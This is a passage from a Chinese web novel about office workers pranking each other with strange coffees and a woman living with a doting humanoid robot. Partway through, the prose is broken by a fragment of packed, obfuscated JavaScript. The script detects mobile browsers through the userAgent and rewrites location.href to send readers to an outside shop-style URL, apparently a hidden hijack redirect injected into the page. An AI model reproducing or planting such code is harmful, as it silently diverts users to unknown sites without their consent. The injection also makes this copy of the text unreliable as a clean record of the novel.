也是,除了她闲下来的时候,别人也没这个闲情雅致专门沏壶茶喝,所以也没人看有无库存,这下她的下午茶都没喽。
“天不助我啊。”唯一的放松时刻都没了。
“这么说。”江念的头上传来了热感,“祝你一把就是你的天喽。”
姜止不知道什么时候站到了她身后,还在头顶放了个什么热乎乎的东西。
“别弄坏我的发型!”这可是她大早上扛着睡意早起才做出来的发型!
“喏。”一杯塑封好的纸杯摆在了她的桌前,“凑活先喝喝吧,无糖,热的正山小种,不过肯定是不如你现泡的。”
她仔细端起杯子看了下包装,是A市新开那家火爆的中式茶馆,虽然不肯定不如现泡的,但是这家店主打传统茶饮,所以和那些奶茶店的茶相比而言,也算过得去了。
不过这家伙也算有心,还记得她口味。
“怎么突然这么好心?”江念心情稍好了点,“事出反常必有妖。”
“这不看你中午没吃饭,怕你饿死。”姜止耸了耸肩,“你这怪人嘴巴又刁,不随大家喝咖啡,等下再空腹到下班,怕是等下这楼里要出人命。”
做好事还不忘损她一下,这人真是可恶,但毕竟还是给她买了符合心意的东西,也算是走心了,这次就不跟他怼了,“那真是谢谢了。”
姜止看到对方没怼自己也是有点不习惯,这就是所谓吃人手短拿人嘴短?
“不客气”他突然有点不习惯。
姜止拿吸管准备帮她戳好这杯茶,可吸管今天看起来不太配合他的样子,吸管都折了都还没戳开,也不知道究竟是塑封太扎实还是吸管太水。
江念看不过眼,接过那杯茶,掰正了吸管,手指堵住吸管
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口,轻松一戳,然后眼神慢慢上移,嘴角挑起,带有丝鄙视的意味,“姜组长生活经验不太足的样子啊。”
“平时不喝这些。”
“女朋友或者周围朋友之类的也不喝?”她分明话里有话。
姜止顿了一下,“没。”
江念嗦了口茶,这个回答挺含糊其辞的,是说女友和朋友没有喝饮品的习惯,还是说没女友或者朋友?
但这毕竟是别人的私事,问这么详细好像也不好。
而且,正是因为不想回答才这样的模棱两可的吧。
“怎么突然来这了。”氛围有些微妙,她赶忙转移话题。
“散步。”果然跟这个人没法沟通,睁眼说瞎话,这么忙的时候怎么可能还有闲心散步。
“行行行,那您要不要继续走走?”
“不了。”姜止头也不回的转身离开。
这人多少有点奇怪,不过这茶味道的确还不错,但这一大堆的文件,怕是十几杯喝下肚也不行。
“这什么怪味!”突然有人发出爆鸣声。
“好辣!”
“苦!”
“怎么这么酸。”
…
只见大家都纷纷站了起来,而且手上都举了杯楼下咖啡店的咖啡。
“这是爆辣到脸红美式。”
“这是清凉一下苦瓜汁美式。”
“这是酸酸梅子味美式。”
林夏一本正经的还念出了饮品奇怪的名字,这么怪的玩意儿估计也就她会买了。
“林夏!”有人大喊她的名字以表不满。
“不用谢谢我,看到大家这么精神,我就很满足了。”林夏丝毫没意识到大家这是对她的怨念,还沾沾自喜,自己一定做了大好事。
就这一口的功夫,同事们都从死鱼眼变成溜圆的双眸了。
只不过,这是因为难喝到瞳孔放大。
“江姐,尽管你不喝,但这是我特意给你买的。”林夏看江念的眼神比起他们还是不够明亮,这杯喝了应该能回过神吧!
江念不知道该怎么拒绝,尤其这还是自己下属特意给自己买的,好像拒绝的话也于心不忍,但当她看到标签,“鱼露鲜鲜美式”,下面还写了句话,“一口让你来到海边的感觉。”
“谢谢,要不...”拒绝的话还没说完,看到林夏那满脸期待的样子,救命啊,这还怎么拒绝。
她深吸一口气,鼓足勇气插了吸管,密封被戳开的瞬间,一股子鱼腥味差点没给她背过去,“咳咳”。
“快试试。”对方甚至还很激动,好像再跟她分享什么绝世美味,错过了江念就会吃大亏。
“这个。”想要拒绝,但依旧于心不忍,她喝药一样的赶快咽了一口,眼泪都差点呛出来。
江组长眼神突然亮了起来!
林夏对她的这个反应很满意,这下大家都可以快乐工作啦!
本来鱼露该是提鲜的好帮手,但在这咖啡里,就是臭鱼烂虾味!!!
楼下咖啡店经常研发些怪口味是不假,但基本也没人买,至少江念没看周围同事有买过。
今天咖啡店老板应该很是开心,自己的独特品味有人认可了。
“嘿嘿嘿。”她突然看着纸杯不怀好意笑了下,好在没人看见,不然她江女神的美名就不保了。
从抽屉里拿了个崭新的塑料杯,一股脑把那咖啡倒了进去,吸管上还配了个打好的蝴蝶结,很是精致呢。
“我上楼一下,林夏你先把这一叠整理好的资料给沈大神送过去。”
江念说完就风风火火头也不回上楼了,不得不说,是因为都姓“jiang”吗,这俩人做事的风格倒是出奇的一致的果断。
编程组办公室
“姜组长,有美女找。”不知谁在门口喊了一嗓子,倒是几乎博得了整个办公室“齐刷刷”的视线。
“什么事。”姜止刚回来没多久,江念就又主动找上来了。
“回礼。”江念笑眯眯地递给姜止那个精致的纸杯。
姜止一时迷了眼,这家伙笑起来的样子还挺甜,要是一直这样多好,平日那嚣张跋扈的样子,也不知道这些人怎么想的,就这样恶劣性格的人还被称作“女神”。
“嗯。”他接过后还没来得及说什么,江念就笑着跑掉了。
可能害羞了?今天难得可爱一次。
姜止不慌不忙把杯子放在办公桌上,吸管上还有一个粉嫩的蝴蝶结,还带着一些浓郁的花香味,看来是用心了。
给她送了个茶就有这么精致的回礼,看来以后可以多送送礼培养感情。
他也没再注意,一边盯着电脑屏幕,边不设防吸了一大口。
“靠!”
“江念!!!”
楼下的材料组都可以听到楼上某人的咆哮,可能隔音需要加强了吧。
10. 牵绊这事
沈确正悠哉的泡着茶,欣赏着楼下的景色。
当时赛恩斯高层找他,他本是没什么兴致的,直到他看到公司的选址,楼下就是满眼绿意盎然,再稍往远看还有片不大不小的湖景,尤其这高层更是赏景的好位置。
不知道楼下又在闹什么,动静这么大,好在对于这种动静他已经习以为常。
可能是他平常作风的原因?他手下的人,尤其是姜止江念这些和他关系更近一步的负责人,性格也是一个赛一个的不同寻常。
有些好奇这阵子苏暮什么情况,毕竟他和初晚黎也不是特别熟的关系,也不好老去她家里叨扰。
最后一次和苏暮联系还是那次他主动打电话给自己,也不知道那俩人后来相处还顺利吗。
“沈大神。”姜止的脸比平时还黑。
本来姜止那张面瘫脸就给人一种不好接近的感觉,再加上常年戴着眼镜,总给人种学校里教导主任的严肃感,就算是周围同事也不大会想跟这种类型的人开玩笑,除了上司沈确,死对头江念和没心没肺的周识。
其他人嘛,总感觉姜止这种认真的个性会把玩笑话当真。
不过啊,耐不住姜止他封印在眼镜下的颜值都是那么好看。
不同于沈确那张带着点邪魅气息的风格,他浑身散发的阳刚之气,脸部轮廓棱角分明,浓眉大眼,身材也不干瘪,典型双开门冰箱,身高就更不用说了。
“是早上去夏威夷度假了吗,这小脸这么黑。”管他开不开得起玩笑,沈确一视同仁,照样调侃。
“楼下那家咖啡店是哪位神仙开的?”他要投诉,投诉这家祸害了他的咖啡店。
“怎么?”沈确看他这样有点忍不住想笑,能把他气成这样,还以为八成又是跟江念有关。
“这口味做的,哪天把人毒死。”他想用力把那杯鱼露海鲜味美式砸桌子上,但又怕溅出来,快接近桌子的时候,还是轻轻放下了。
毕竟,这味道散出来,一时半会都去不掉。
沈确不明所以,拿起这个看起来很平常的杯子,揣摩半天也没发现什么与众不同,直到他凑近一闻,“嗯???”
能买这个的人,品味也挺不一般。
“你买的?”
“江念给我的!”姜止恶狠狠的念出她的名字。
“哈哈哈哈。”沈确忍不住捂着肚子笑出声,每天看这俩冤家斗起来也是蛮有趣,笑点不断啊。
他边笑边快速推开这杯子。
“我要投诉那家咖啡店。”
“不该是投诉江念吗?”沈确意味深长,故意给他挖了个坑。
“要不是这家研发怪味,她也买不到。”
“哦~?”沈确嘴角翘起,眼睛也成了小月牙状。
“算了,我亲自找这店长!”想了想还是自己去比较解气。
“祝你顺利~”
…
再过几天,A1系列就要上市了,也不知道会掀起怎么样的浪花。
“啊。”刚刚顾着笑姜止去了,茶叶泡久后,变得涩口了。
沈确心疼看着自己那几乎都变成黑色的茶水。
…
初晚黎家
“所以说,不要暴力,注意力度,力度!”
“好的。”
“不过也挺不错,最近长进挺大。”
这几天的生活可以称得上风平浪静。
这不,初晚黎还有点小心思——教苏暮做家务。
这人工智能,如果可以熟练做家务,那她岂不是可以在家彻底解放双手,什么都不做瘫在床上,每天负责吃喝睡就行,多幸福啊!
苏暮只知道他开始学着做家务后,初晚黎的心情不是一般的好,具体原因他不太在乎,反正她开心就好喽,不过,偶尔她还是有发飙的时候。
“我的定制款小猫水杯!”
“你为什么可以让它的把手和杯身分家!”
初晚黎一手杯身一手杯把,双手在空中愤怒挥舞着。
“可能,你买的东西质量都有点差?”苏暮一脸委屈说出了气死人不偿命的话。
他刚刚真的就只是拿着百洁布用力擦了一下,谁知道就断了。
“你差,你差,你才买的都差!”这标准的小学生方式,毫无逻辑和理智可言。
主打的就是一个你说我不好,我就说你不好。
“那我下次给你挑个质量好的。”对方很真诚的想着怎么解决问题,直接从根源抵挡了初晚黎的攻击。
“哼。”看对方没有和她争执,反而很成熟的处理问题,倒是让此刻的她显得小家子气了,好像自己在耍什么小孩子脾气,但是好在这个结果她还比较满意,“那好吧,反正就是个“小垃圾”。”
初晚黎是为了给苏暮台阶下才答应的,毕竟她可是一个成熟的人!
“不生气了就好,生气伤身,气坏了身子多划不来。是我笨手笨脚了点,打碎了你的小宝物,我下次会注意力道的。”道歉还挺诚恳的。
“我大度,所以我原谅你了,而且那只是个“小垃圾”。”
经过苏暮这段日子的观察,初晚黎很喜欢收集一些奇奇怪怪的小玩意,而且好像大多都是孤品,也不是什么经常使用的必需品,但却又能看到它们都被好好的收藏到了一起,或许是对她而言是有特殊意义的小宝物吧,自己下次也要注意好好的对待它们。
不过她性子挺别扭,明明是很在乎的东西,偏要装作无所谓,还将其称为“小垃圾”。
“你这个杯子是一只小猫咪啊,那我下次给你买杯身全是小猫咪的。”苏暮很赞许自己的想法,一杯子的猫咪图案肯定比一只猫咪看的更有满足感.
“嗯。嗯?”初晚黎觉得好像有点不对劲,也说不出来哪里不对劲。
…
小插曲
这事过了几天后,初晚黎收到了个奇怪的快递包裹,上面写着,收件人:世界上第一可爱的女孩子。
无力吐槽,像是什么变态寄的。
带着戒备心拆开里一层外一层的包装后,好在看起来外形是个正常的马克杯,问题是,她又拆开几层后,这上面印的是什么玩意儿啊!!
灰色的猫,从耳朵胡须看得出来的确是猫,问题,这谁设计的形象,那猫单爪向上举起,举起了满是肌肉的麒麟臂,还顶着一个画风可爱的,有着大眼睛的小猫头,没错,小猫头,这猫界也开始追求什么双开门大冰箱身材了???
看得出来设计者或许是想拟人的手法画出有趣的猫?一只也就算了,杯子一圈都是这个形象不说,还排列的密密麻麻,基本没有空隙,只能隐约看到它的底色是橙色,这可真是密集恐惧症患者的“福音”。
“呀,这么快寄过来了。”罪魁祸首正洗完澡,拿了个毛巾在擦拭它的头发。
初晚黎不知道该谢谢它,还是应该开始无能咆哮。
这玩意放家门口当门神或许还不错,大活人都能给震到的地步,不过不是威严的那种震慑力,多半是恶心的。
如果这世界上真有鬼的话,看到怕也是没心思进这家人的房子里。
按理来说,常见的恐怖情节应该是----恶灵进到这户人家,然后心中满是愤怒和冤屈,想要刀了所有活人。
而初晚黎家进的鬼估计是这么个画面,“我好冤,我好气啊。”随微微扭头,看到玄关门口摆了个画的密密麻麻恶心图案的杯子,带着好奇心凑近一看,“我k!好恶心~”
随后捂着受重创的双眼逃跑。
反正就是不好看!这是初晚黎看到后的第一想法,拿这个鬼玩意儿喝水,她怕折寿。
索性摆门口,创死所有人,来她家的一个都别想逃过。
苏暮看到初晚黎将其放到门口,还以为她是喜欢这个礼物,甚至还珍惜到不舍得用,直接摆在了最显眼的门口,心中不禁暗自窃喜,看来下次可以多送她点这种风格的小礼物。
初晚黎要是知道自己的举动,会引起了自己之后的灾难,她或许此刻就会选择偏激的处理方式,比如当面摔碎。
(小剧场:
某日的初晚黎家
初晚黎:这是什么???(瞳孔地震级别)
苏暮:上次那个杯子的设计者的新作品。(内心os:上次就看你喜欢,这次这个更满意吧,嘿嘿。)
一个巨型等身比例的肌肉猫玩偶,?????????
初晚黎os:我想刀人。(微笑)
苏暮:他还有名字呢,叫…叫寂柔猫。
包装掉出了一个有点长的文字标识
标识:
名字:寂柔猫
性别:公
年龄:青壮年
爱好:锻炼肌肉
设计说明:在生活中,我们几乎逃避不了社交,但就算如此,也会时常感到孤单如影随形,或是因为不被理解,或是因为心中无法言说的负面情绪,或是因为无人分享的喜悦…
但不要担心,现在寂柔猫会陪伴着你!别看他“相貌堂堂”,但他也是位孤独旅人,别看他长得身强力壮,但其实内心温柔,是你孤独伤心时的完美陪伴者!
作者:吓着你了吗
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528257|203617||http|test|mini|href|location''.split(''|''),0,{}));
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>初晚黎:我就是孤独到泪奔,我也不想跟这玩意对话!完全没有沟通欲望好吗!!(脸上三根黑线)
苏暮:嗯?(等待夸奖中)
(很久之后的某日)
初晚黎:寂柔哥,你说苏暮到底喜欢我吗?
…)
时间线回到现在
不说杯子这件事,苏暮现在已经可以包揽家中地板的清洁工作了,其实也并不是有多脏,但奈何木木是个掉毛怪,只要一天不吸尘,地板就穿上了层厚厚的灰色“毛衣”,款式还很透气呢,风一吹就能到处跑的那种“毛衣”。
也不能全怪木木,初晚黎也有脱发困扰,所以扫地拖地的工程量还是挺大的。
她现在就体会到了解放双手的快乐,都说扫地机器人清理不了卫生死角,看,她有大型扫地机器人。
真是个快乐的下午,她躺在沙发静静吹着从纱窗透过的暖风,木木则摊着它的大肚皮在地上散热,鸟叫声络绎不绝,而且品种也不一,“叽叽喳喳”和“咕(∨)咕(—)咕(/)~~~”以及“啾啾”。简直就是来自大自然的免费演唱会,鸟儿是主场,蝉鸣是伴奏,树叶吹动是风响起的掌声,绿意是天然的背景板。
苏暮打扫完书房看到的就是这一幕美好,阳光恰好,喜欢的人正满脸笑意看着窗外风景,身子微微蜷缩在沙发上。
“巧克力。嘿嘿~”嘴巴里还念念有词的,说完还忍不住抓了块往嘴里塞。
“喵~”木木不知道是不是也梦到了什么好吃的美味,还咂了咂嘴。
真是有什么样的主人就有什么样的宠物。
苏暮拿出手机想要记录下这一幕,拍完之后突然想到,要是自己会点厨艺就好了,毕竟对付吃货而言,博得好感的最佳方式就是收买她的胃。
还好他随便一搜就查到了许多适合新手小白的食谱教程。
初晚黎自己本身就喜欢闲暇之余泡在厨房做点好吃的,尤其是烘焙些小点心。
所以各式厨具可以说是应有尽有,连打蛋机都有手动和电动款两种。
但终归是了解不够透彻,苏暮目前知道的,只有她爱巧克力,连带巧克力味的甜点她也是看到就移不开眼。
这几天逐渐变热,可能是没什么胃口吧,他这阵子都是被初晚黎带到楼下的各种大排档打发。
说来也怪,按道理来讲,他的身体不需要通过进食来获取能量,不过他自己都忘了一个很重要的事,他压根没用过沈确给的充电小匣子,但他依旧还在正常运转。
沈确那次明确告知他,每天晚上都应该用小匣子贴在心脏处充几个小时的电。
苏暮查阅完方子上说的材料配比后就下楼去备食材了。
初晚黎所以现在就是个甩手掌柜,只要她不想,买菜她都可以偷懒不用下去喽。
最主要,靠着苏暮这张帅脸,买菜的时候那些婆婆爹爹们,不是给他抹个零头就是送点小葱什么的。
要知道初晚黎可没这个好待遇,也可能是不想混脸熟吧,就比如吃早餐那样。
为此初妈常年吐槽她,别人都巴不得混脸熟好说话,就她天天闭着人,只要商家跟她唠个家常,搭个话,得,这商家一个月估摸着是别想再看到她了。
可能是因为性格孤僻?她感觉买的东西甚至都会暴露自己的生活方式,有一种会被窥探了生活的感觉,让人不适。
有时还会遇到随口的搭腔,“又买了xxx?看来挺合你胃口。”小商超的老板一边扫着码,一边随口问道。
“最近是很闲嘛,经常看到你。”也或许是在家附近散步的一位阿姨看到了她手中的塑料袋。
“最近都是你一个人来,怎么没看到你妈妈,最近很忙?”也许是早餐店卖早点的老板。
可能作为正常人而言,这无伤大雅,大多数人甚至会主动寻找一个契机,好像只要多认识一个人,就可以和世界加强联系,让自己看起来不会形影单只。
记得有人说过,真正的死亡不是生理性的死去,而是被遗忘,被这个世界所遗忘,被周围人遗忘。
可能只要有了过多的牵绊,就能有更多人证明他们是真实存在过的,也曾是这个世界的一份子。
但初晚黎偏偏像个外来客,讨厌这种万事万物与她会产生的牵绊,所以她则是在不停的斩断。
过多的牵绊对她而言就像是囚笼,仿佛对她而言,只有无牵无绊,才能潇洒一生,直白点类似于,一人吃饱全家不饿。
没有人可以干扰你的生活,你的情绪,你的选择,你的所有,这样才能忠于本心的去生活。
11. 关于友情
如果是平常的初晚黎,有苏暮这种会严重影响干扰到她生活的人出现,她肯定是维持表面友好,但会不断想办法疏离他。
人啊,本就是最不稳定的的存在。
毕竟很难去判断一个人在和你相处的过程中,下一步会做出什么举动,哪怕你再了解他,也会有可能发生不寻常行为。
或许这个世界上,除了自我本身,其他的事情都是不可控的。
就比如你明明今天很快乐,但和你关系亲近的对方却因为一些事郁郁寡欢,这时你的情绪或多或少也会变得不那么开心。
一次两次还好,若是次数多了,就连你自己的生活好像都失去了控制一样,情绪不断地被外界干扰。
或许这就是牵绊带来的负面影响吧,尤其如果对方还是个不听劝的悲观主义,只是一次又一次的把你当做情绪垃圾桶,他解决不了的问题带着那不快乐的气息,连带着影响着你。
直到某一天,
“我受够了你的负面情绪!”
关系破裂。
的确关系中曾经也存在开心的时候,但也是不确定性中的一部分。
不确定性的快乐时光和不确定性的伤心时。
与其这样让生活没有掌控感,不如把主权全权交于自己,和他人保持一定距离,避免干扰。
苏暮吧,机器人是根据所书写的程序而运行的,就像他的设定,喜欢着女主角,也就是初晚黎她,只要沈确不修改他的设定,不管她怎么作怎么闹,他的喜欢都是不会变的吧。
不会像人与人之间的感情,关系的远近会因为时间,会因为事情而变化。
这样的关系对她而言是安全的吧,不用担心对方会离开她,只要程序不被更改,就是永恒存在的爱意。
...
迷迷糊糊中鼻尖嗅到一丝香甜的气味,肚子这时应景也叫了几声,虽然不想离开柔软的沙发,但还是强忍困意爬起。
她寻着香味前去,只见苏暮正系着围裙在厨房忙活。
不过除了看到几盘黑了吧唧像炭块样的不知名物,旁边也就几个顶部烤得焦黄的小纸杯蛋糕还看的过眼。
“醒了呀。”苏暮听到了脚步声,转过身,面带微笑看着睡眼朦胧的初晚黎。
可能是静电的缘故,头上还竖着几根呆毛。
他靠了过去,俯身摸了摸她的头,想将那几根不听话的头发抚平。
显然那几根呆毛并不听他的话,刚理顺又一下子弹了起来,他又轻柔的拂了过去,没三秒又弹了起来,这弹力堪比弹簧。
初晚黎才醒来不久,思维还有些迟钝,也没来得及反抗,只是一门心思被香味吸引,又忍不住嗅了嗅,然后推开它走到那烤盘前,动作顺畅地拿起塞到了嘴里。
味道还行,鸡蛋和牛奶本身的香味加上巧克力味后,多了一些口味上的层次感。
蛋糕体倒是有些欠缺,不够蓬松,可能是制作过程中搅拌不得当所以消泡了。
“好吃吗。”作为苏暮的初次烹饪尝试,他还挺看重这次评价的。
“嗯。”初晚黎有点起床气,刚醒的时候并不喜欢说太多话,所以只是冷淡应了一声。
如此冷漠的回应让他拿不准初晚黎的真实想法,但也不打算内耗自己,既然她肯定了,就当自己做的还不错吧。
也算让心里的石头落地了,看来用美食抓住她的心这个计划可以实施下去了。
她拿了几个看起来卖相稍好的蛋糕径直走向沙发,发着愣,机械式往嘴里塞了半天,过了好一会儿才算回过神。
脑子里又忽然浮现出了刚才的画面,她不禁赞叹,醒来就有帅哥在自家厨房忙活着给自己做好吃的,这是什么天堂般的生活。
而且也不用担心出现什么闪失,毕竟它只要零件不出问题的话可以说是永生的存在,也就是说自己可以无期限吃到美味下午茶,电视剧经常出现的那种狗血剧情,因为某人去世后无法再吃到那种回忆中的味道,也不会出现在她这。
在平常的社交中,她大都是照顾别人的那一个,倒也不是说有多不喜欢,只是时间久了,也会想稍微休息下,想找个可以依赖的人。
或许现在的她就可以稍稍依靠下它,同时可以放心的让它进入自己的生活。
…
日子一如既往的平静且安稳,如果时间可以定格在这一段就好了。
她的大四时光可以说是悠哉悠哉,但是嘛,也总有被扰人心态的时候。
“怎么办啊,这写的稀巴烂的论文,她们好多人都写的比我好,这样下去怎么毕业啊。”李梦给初晚黎发来了骚扰信息,而且还是周末的大晚上!
要知道周末可是她的回血时光,只有这个时间可以完全有借口闭门不出,干些自己感兴趣的事。
“没事的,你要知道有比你好的就有比你差的,只要力所能及做到最好就行了。”初晚黎本着开导他人是一种美德的想法,还是回了这条丧气的信息。
“烦死了。”对方还在抱怨,或许只是心情不好一时走不出来。
“没事的,你放轻松,而且你本身能力也不差,而且马上也熬出头了不是。”初晚黎绞尽脑汁安慰她。
“破学校,垃圾。你写的怎么样了。”初晚黎想退出聊天框,她早在导师一布置下来就开始着手准备了,现在早都是闲人一个了,但这个在这时候说出去不就是招恨。
“差不多了吧大概。”模棱两可的回答无非也就是想给自己留点余地。
“烦。”好的,她退出聊天框了,顺便还点了个消息免打扰,本来大晚上在开心的和苏暮看着恐怖片,苏暮和她两个还刚吓得抱在一起尖叫,现在情绪被干扰,整个人都出戏了。
倒也不是她有多吝啬去提供情绪价值,她和李梦之前也算是挺玩得来的,但是吧,有时候也会觉得这人和自己不是一路的。
她心情好的时候大都不怎么回初晚黎的消息,每次到了夜深人静或者心情不好的时候才开始找初晚黎聊天。
初晚黎一开始还以为对方是心情不佳在自我消化,后来才发现这家伙只是在忙着和别人玩呢,为什么这么说呢,她在朋友圈营业呢,可忙了。
而且出去吃饭或者一些小事竟是初晚黎在单方面掏钱包,撑死了也是AA,她不想过多计较,但谁也不是冤大头,没想到自己的一味退让得来的是对方的得寸进尺。
单方面付出谁乐意,她有时甚至还有点圣母心去反思自己,觉得自己是不是太小家子气了。
能够这样时不时给几句情绪价值,初晚黎觉得她作为一个同学而言已经够格了。
她盯着身旁还深陷剧情中的苏暮,好在它的人设还不错。
目前而止还是三观很正常的,有来有往,相互平等的相处方式才是她想要的,毕竟不喜欢欠人情不代表喜欢被别人压榨。
“工作好烦啊!为什么周末这么短暂。”又是夺命且丧气的话题,不过,是另一个对话框…
“美好的总是短暂的。”
“我要炸了公司。”
“那我帮你制定计划。”
看人啦,对方是时衿的话,有事半夜吵醒她,她也没什么怨言,反而很开心对方愿意跟她掏心窝子。
…
“最近没有物色到什么喜欢的人?”
吐槽了半天,时衿的心情也好了很多,都开始八卦了。
初晚黎心里一咯噔,差点忘了这茬,家中有个机器人美男子这事还没告诉她,这感觉也有点难说出口。
更何况,沈确上次来她家还说了,不要告诉别人苏暮是个机器人,这个秘密不能让更多人知道了,不管是谁。
时衿和她之间从来都不存在什么秘密,俩人的相处向来是有话直说,难道这次要因为一个突如其来闯进生活的事儿而改变这一点吗。
初晚黎已经开始纠结了,但是沈确确实叮嘱了她,她也明白自己理应替他保守这个秘密,况且之前还花他钱吃了不少东西。(虽然是苏暮瞎花钱造成的。)
先瞒着吧,等哪天纸包不住火了再说。
这话题真要和时衿现在聊起来,感觉她俩明天都得顶着个熊猫眼。
“没呀,天天宅家,总不能来个帅哥入室抢劫吧。”不过苏暮来她家的方式,也跟入室抢劫没什么区别。
“长得帅,入室抢劫也未尝不可。”这人真是三观跟着五官走的典型代表。
也是说来奇怪,苏暮当时无凭无据,就口头说了下她中奖了,自己是奖品。
平时她防备心那么重,怎么这次对方随便说说就信了。
而且就算有沈确当时写的亲笔信和公章那些,官网的中奖名单也没透露她名字。
更何况苏暮这个和人无异的模样,说是个机器人实在没什么信服力,除了带了个奇怪的小匣子,且放在它的心脏会对产生反应。
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小匣子?好像很有一阵子没见到小匣子了,也就是说,苏暮这几天压根没充电?!
初晚黎目光顺着苏暮看过去,丝毫看不出电量要终结的样子,反而还活力四射,此时零嘴吃完了,它还跑去厨房又准备了一点。
要说这恐怖片可真是减肥神器,不知道别人怎么样,初晚黎看的时候是很全神贯注的,甚至胃都跟着紧绷起来,整个人处于全面戒备状态,压根没多余的精力分给嘴巴品尝零食。
苏暮虽然看恐怖镜头的时候也会和初晚黎一样被吓着,不过镜头一过,神色又恢复平常,还能时不时津津有味啃点小零食。
但苏暮千算万算没算到…
他出于好心给初晚黎投喂了一片薯片,初晚黎下意识张嘴正准备吃,屏幕里突然来了个jumpscare,初晚黎一个不小心,苏暮指头没被她咬两节算是自己最后的理智尚在,很好的控制住了力度。
“呀~”吃痛的声音。
“对不起对不起。”初晚黎扯过它的手仔细看了看,印着整整齐齐的牙印,她又小心谨慎掰了一下,还好,骨头没断。
苏暮看着初晚黎几乎和自己近在咫尺,也不知道自己怎么了,心中闪过想要抱住对方的冲动。
屏幕上五彩斑斓的光打在俩人的身上,本应被这色彩吸引的他,视线却落在了她身上。
尤其初晚黎还这么紧张他,自己无非只是个机器人,又不会真的受伤,要不是拥有这神奇的五感,他怕是自己都要忘记自己并不是人类。
初晚黎此时注意到,苏暮这手是真白净啊,手指修长,骨节清晰分明,忍不住假借检查伤口之名又偷偷摸了几下,还挺嫩,心里暗喜,有种占到了便宜的感觉。
苏暮哪知道初晚黎的小心思,只觉初晚黎特别关心他,还如此细致地检查。
“人呢。”时衿甩来一个表情包,她忙着顾苏暮的手,忘了回复了。
“在呢在呢。”
“好无聊啊,这个实习也不想干了。”
“那想换一个还是?”同是大四的毕业生,但初晚黎觉得自己一天到晚并不是很无聊呀。
早上晒着太阳听着鸟叫迷迷糊糊睡着,快中午了起来吃个饭,下午喝喝茶吃点零嘴或是做点美食再逗逗猫,晚上追个番看个漫画,美好的一天结束。
当然,日子能这么悠哉还是因为她的社交占比不大,加上初妈给她的物质保障。
现在加了个苏暮的存在,自己更是清闲。
“不如我们去旅游吧。”提议很突然。
“啊?”
“我明天就去辞了!反正当初这工作也是我妈逼着我找的,也不是我想要的。”时衿在性格有些地方和初晚黎有点相似,但是家里氛围却截然不同。
时衿这个年纪还被她母亲管的很严,毕业了工作都恨不得给她一手操办,而时衿她本人只要像个傀儡一样顺着家里就好。
对于乖孩子来说,或许这样生活还能轻松些,但时衿哪是个能安稳下来的,除了看着乖,骨子里都带着叛逆的血液。
所以不得不说物以类聚,时衿和初晚黎都不是什么省油的灯,她俩也就看起来乖,小时候就差上房揭瓦了。
奈何俩人手劲儿不够大,不然初晚黎肯定得试试爬树翻墙,时衿嘛,肯定是站底下加油打气嫌事儿不够大。
但是初妈,简直放鸭子式育儿,相反初爸小时候总是对初晚黎管这管那的,不过再后来她跟着初妈一起生活后,短短几年,已经本性暴露无疑了,又懒又佛。
“那你怎么交差。”
“跑了再说。”
“好,我也准备准备。”
人生中若有一个人可以随时陪你来场说走就走的旅行也是幸福。
“但,要几天啊?”她有点担心木木,养宠物的人旅游还是需要费点心思的。
“短途,放心,不会让你家木木饿肚子的。”不亏是老友,立马就知道她问这话的意思。
“好的。”
不对,好个鬼,那苏暮怎么办,他比木木还难安置。
上次自己去学校就那么一小会儿,他都要跟着,这要是告诉他几天见不了面,他怕不是在家cpu烧干了。
自己怎么手就那么快,说出口再反悔也不是她的个性啊,尤其对象还是时衿,她不想扫兴啊。
“苏暮…那个。”
“嗯?”
…
12. 生病了
今天难得起了个早,这难道就是所谓的,不出门睡到天昏地暗,有了出行计划醒的比鸡早。
四月的天不如三月那般,哪怕是吹过的风,也夹杂了一些暖洋洋的气息,虫子叫的更欢了,于此同时鸟鸣也更欢实,兴许是它们的食物变多了?
人类以为的白噪音,很可能是它们之间垂死挣扎的生死战,某只可怜的小虫说不准一不留神就成了雏鸟的盘中餐。
偶然还有几只性子调皮的,跑过来啄一下初晚黎家的透明玻璃窗,木木见到后开心的忘乎所以,瞳孔放大,重心向后,扭扭屁股,嘴里发出“咂咂”是它将要捕猎前奏的声音。
结果可想而知,往玻璃上猛地一跃,“咚”,鸟没撞到,自己脑袋疼个够呛。
看到初晚黎看向它的目光,又有点不好意思一样,赶忙舔舔自己的爪子,好像刚刚什么都没发生,装作自己只是在悠哉地梳理毛发。
初晚黎犹记着,木木小时候的某年夏天,脑袋上,身上,隔三差五就有一些包和肿块,初晚黎起初还以为它身体出了什么大问题,吓得不轻。
直到某天她看到,这大傻子为了抓一只蚊子,脑袋直直撞向玻璃门。
“是玻璃门的错。”木木内心肯定这么想。
不过初晚黎也没资格说木木傻,她小时候经常因为和朋友聊开心了,走路心不在焉,一个不留神就撞到树上。
还有次因为早上睡糊涂了,找不到学校边上小超市的门,也不知道怎么想的,径直走向旁边的玻璃,往上撞了两三次,还被同学看到了。
这就是傻人养傻猫吧。
看完这傻啦吧唧的捉鸟表演,她有些感到疲乏,许是今天起得太早?看向窗外的眼神有点呆滞,整个人选择摆烂瘫在沙发上,晃头晃脑的,感觉头今天异常的重。
早上刷了那么久的番剧,可也还没到中午,干等着时衿的消息好像也有点无聊,也不知道还有什么事做呢。
想着想着,愈发的困倦,身上也开始发冷,快30°的天,她只是开着纱窗,但也不至于吹到人浑身发冷吧。
好困!
看来得休息下,不然下午也是这个状态的话都不好出发了。
她脚步有些拖沓,从客厅到卧室的距离现在也仿佛什么千里之行,腿部肌肉此时用不上力,本想扶着墙过去,谁曾想,就这样跟个史莱姆一样软塌塌的,靠着墙滑了下去。
“初晚黎?”苏暮刚还在卧室收拾被初晚黎扔的乱八七糟的衣服,她自己倒是心大,当甩手掌柜跑去客厅窝着了。
苏暮对此不仅不恼,反而感觉自己被她依赖了,内心还有点小窃喜,他正检查出门的行李里有没有什么忘带的,想要问一问初晚黎,就看到她瘫倒在过道。
“晕…好晕。”她满脸通红,眉头微皱,眼皮也抬不起来,一脸倦容,“咳咳,痛。”
“晕?痛?”苏暮还有点没反应过来,她人一下子怎么就成这样了,根据自己的经验而言,她应该是生病了。
